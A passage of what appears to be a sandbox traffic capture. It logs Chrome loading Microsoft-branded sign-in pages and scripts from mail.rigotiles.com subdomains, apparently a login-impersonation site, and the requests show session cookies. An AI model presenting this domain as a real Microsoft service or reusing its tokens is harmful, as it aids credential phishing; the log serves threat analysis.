28 21 31 29 2c 6e 2e 63 61 Data Ascii: ndleDssoSuccess=r.create(),n.onHandleDssoFailure=r.create(),n.onDesktopSsoFallbackView=r.create(),n.onRedirect=r.create(),n.onIncrementAsyncTileRequestCount=r.create(),n.onDecrementAsyncTileRequestCount=r.create(),n.desktopSsoRunning=t.observable(!1),n.ca
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 26 26 20 63 61 6c 6c 4d 73 61 53 74 61 74 69 63 4d 65 43 6f 6e 74 72 6f 6c 28 29 20 2d 2d 5c 78 33 65 5c 6e 3c 64 69 76 20 64 61 74 61 2d 62 69 6e 64 3d 22 69 6e 6a 65 63 74 49 66 72 61 6d 65 3a 20 7b 20 75 72 6c 3a 20 73 76 72 2e 75 72 6c 4d 73 61 53 74 61 74 69 63 4d 65 43 6f 6e 74 72 6f 6c 2c 20 6f 6e 6c 6f 61 64 3a 20 69 46 72 61 6d 65 5f 6f 6e 6c 6f 61 64 20 7d 22 3e 3c 2f 64 69 76 3e 5c 6e 5c 78 33 63 21 2d 2d 20 2f 6b 6f 20 2d 2d 5c 78 33 65 5c 6e 5c 6e 5c 78 33 63 21 2d 2d 20 6b 6f 20 69 66 3a 20 73 76 72 2e 64 65 73 6b 74 6f 70 53 73 6f 43 6f 6e 66 69 67 20 26 26 20 21 69 73 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 41 75 74 68 52 65 71 75 65 73 74 20 2d 2d 5c 78 33 65 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 5c 6e 20 20 20 20 3c Data Ascii: && callMsaStaticMeControl() --\x3e\n<div data-bind="injectIframe: { url: svr.urlMsaStaticMeControl, onload: iFrame_onload }"></div>\n\x3c!-- /ko --\x3e\n\n\x3c!-- ko if: svr.desktopSsoConfig && !isNonInteractiveAuthRequest --\x3e\n<div class="row">\n <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.16	51055	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	779	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:25 UTC	1227	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F47E260FD Last-Modified: Wed, 24 May 2023 10:11:46 GMT X-Azure-Ref: 20241029T162005Z-17d9cd8886fksq8kgb8tzt0abg000000063g00000000aawr X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 9ae3dc88-a01e-002f-0e3c-26ce9d000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189320 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UDcs7Pr4VC8k869QYLUjLAk3gsJ4fPwyn0A3klfHyONl5uVd9uOv5139ULw%2BdRUUHEwpD%2FAGRhC9QmY5d7ajqmCQ%2FKGyhZRB%2FWZDs3xeM4zZiK5Y8iO4b%2F5l%2FjzK6Cv%2BX0Ddo5Wk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bbf0a97e583-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:25 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 35 33 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 30 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 35 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 33 37 31 38 32 36 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 62 30 36 61 37 66 37 66 37 32 65 35 32 38 37 34 26 74 73 3d 31 39 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1253&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1357&delivery_rate=2371826&cwnd=251&unsent_bytes=0&cid=b06a7f7f72e52874&ts=191&x=0"
2024-10-31 20:55:25 UTC	1320	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-10-31 20:55:25 UTC	551	IN	Data Raw: 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 35 34 38 2e 36 20 39 35 32 2e 38 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 39 33 32 2e 34 20 31 31 34 34 2e 32 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 66 66 62 39 30 30 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 2e 37 35 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 63 34 63 34 63 34 22 20 73 74 6f 70 2d 6f 70 61 63 69 74 79 3d 22 30 22 2f 3e 3c 2f 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 44 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 Data Ascii: Use" gradientTransform="translate(1548.6 952.8) rotate(90) scale(932.4 1144.2)"><stop stop-color="#ffb900" stop-opacity=".75"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><radialGradient id="D" cx="0" cy="0" r="1" gradientUnit
2024-10-31 20:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.16	51056	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	780	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:25 UTC	1205	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DB5C3F4911527F Last-Modified: Wed, 24 May 2023 10:11:48 GMT X-Azure-Ref: 20241031T205525Z-17d9cd8886fqgvn4q4mt7vch3n00000009p0000000000quz X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: c195ea8d-401e-002f-4cab-26b922000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ctuXg0CF%2FmAcRHMKXW664gMZvvIPm5eQQ5smhIGrVczEx2QIzScsyeEM4XNiU12AjL0Ag42dHxzewCZurKVysJlYEq0FxJa159Sxh48%2BC0v7eor7oo0SGEtlLDbxdQUclbv791sN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bbf5f5e4588-ATL alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:25 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 32 30 31 32 39 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 33 35 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 33 32 30 33 26 63 77 6e 64 3d 33 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 61 62 31 39 31 61 35 30 34 62 62 65 37 39 31 26 74 73 3d 34 37 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=20129&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1358&delivery_rate=143203&cwnd=32&unsent_bytes=0&cid=aab191a504bbe791&ts=477&x=0"
2024-10-31 20:55:25 UTC	1343	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-10-31 20:55:25 UTC	1369	IN	Data Raw: 30 31 39 2c 35 2e 30 31 39 2c 30 2c 30 2c 31 2d 33 2e 37 37 32 2c 31 2e 34 32 34 2c 34 2e 39 33 35 2c 34 2e 39 33 35 2c 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 38 39 2c 32 2e 33 38 39 2c 30 2c Data Ascii: 019,5.019,0,0,1-3.772,1.424,4.935,4.935,0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.389,2.389,0,
2024-10-31 20:55:25 UTC	946	IN	Data Raw: 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 33 2d 2e 38 31 33 2c 32 2e 34 33 39 2c 32 2e 34 33 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 31 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 2c 32 2e 39 39 33 2c 32 2e 39 39 33 2c 30 2c 30 2c 31 2c Data Ascii: 0-.688-2.411,2.39,2.39,0,0,0-1.93-.813,2.439,2.439,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043,2.993,2.993,0,0,1,
2024-10-31 20:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.16	51057	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	1469	OUT	GET /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:25 UTC	1234	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:25 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - SCUS ProdSlices X-Ms-Request-Id: 2e5da525-697e-46d6-9f06-53c07b552600 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bbf6af8285f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2047&delivery_rate=1748792&cwnd=233&unsent_bytes=0&cid=a42005b6ef7bd6d1&ts=354&x=0"
2024-10-31 20:55:25 UTC	135	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 34 35 31 33 38 36 34 38 2d 61 65 37 61 2d 34 33 63 65 2d 62 61 63 37 2d 31 62 30 38 64 63 38 61 64 65 33 37 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 20 32 30 3a 35 Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"45138648-ae7a-43ce-bac7-1b08dc8ade37","timestamp":"2024-10-31 20:5
2024-10-31 20:55:25 UTC	35	IN	Data Raw: 35 3a 32 35 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: 5:25Z","message":"AADSTS900561"}}
2024-10-31 20:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.16	51058	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:25 UTC	888	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: ywnjb.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87; uaid=a2301630ceca4905bdbb1f6e71f3d515; MSPRequ=id=N&lt=1730408110&co=1
2024-10-31 20:55:26 UTC	1357	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: Sun, 29 Oct 2034 20:55:25 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: BL02EPF0001D991 V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=f2adf0f373d24d56bb5db392e1870d05; Path=/; Domain=ywnjb.rigotiles.com; HttpOnly; Secure; SameSite=None Set-Cookie: MSPRequ=id=N&lt=1730408125&co=0; Path=/; Domain=ywnjb.rigotiles.com; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Request-Id: b5c262f5-b785-479b-9c74-11f685164a0e X-Ms-Route-Info: C547_BL2 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wkYgwSby1rcwZ5RbgomhjqGxLJzj%2BpHm%2B6h6Avlp4Z29ja87ruxaqUyAHKCf3KfMIBvyiOmSUsvTvNOYArJKSb3Fg3rU4lJlWp7aNHU4kQ%2FafJ7Ykehr3mZyn0miBp%2F%2F2nAoHjvp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bc1ef0e2e22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1466&delivery_rate=1982203&cwnd=251&unsent_bytes=0&cid=2712870ecbd6ec0f&ts=350&x=0"
2024-10-31 20:55:26 UTC	12	IN	Data Raw: 64 36 63 0d 0a 3c 73 63 72 69 70 74 Data Ascii: d6c<script
2024-10-31 20:55:26 UTC	1369	IN	Data Raw: 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 65 29 74 5b 73 5d 3d 65 5b 73 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 69 66 28 73 5b 6e 5d 29 72 65 74 75 72 6e 20 73 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 69 3d 73 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 63 61 6c 6c 28 69 2e 65 78 70 6f 72 74 73 2c 69 2c 69 2e 65 78 70 6f 72 74 73 2c 65 29 2c 69 2e 6c 6f 61 64 65 64 3d 21 30 2c 69 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 2e 6d 3d 74 2c 65 2e 63 3d 73 2c Data Ascii: type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,
2024-10-31 20:55:26 UTC	1369	IN	Data Raw: 6e 29 7b 72 65 74 75 72 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 74 3f 65 3a 74 3e 3d 32 3f 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 76 61 72 20 73 3d 6e 28 22 4a 53 48 22 29 2c 61 3d 6e 28 22 4a 53 48 50 22 29 2c 6f 3d 21 30 2c 72 3d 7b 74 72 61 6e 73 69 65 6e 74 53 74 61 74 65 3a 22 22 2c 70 65 72 73 69 73 74 65 6e 74 53 74 61 74 65 3a 22 22 2c 68 61 73 53 74 6f 72 61 67 65 41 63 63 65 73 73 3a 30 7d 2c 53 3d 7b 6d 65 73 73 61 67 65 54 79 70 65 3a 22 6d 73 61 4d 65 43 61 63 68 65 64 22 2c 76 65 72 73 69 6f 6e 3a 32 2c 75 73 65 72 4c 69 73 74 3a 5b 5d 2c 74 69 6c 65 73 53 74 61 74 65 3a 72 7d 3b 74 72 79 7b 76 61 72 20 Data Ascii: n){return}}function o(t,e){return 1===t?e:t>=2?decodeURIComponent(e):null}function r(t,e){var s=n("JSH"),a=n("JSHP"),o=!0,r={transientState:"",persistentState:"",hasStorageAccess:0},S={messageType:"msaMeCached",version:2,userList:[],tilesState:r};try{var
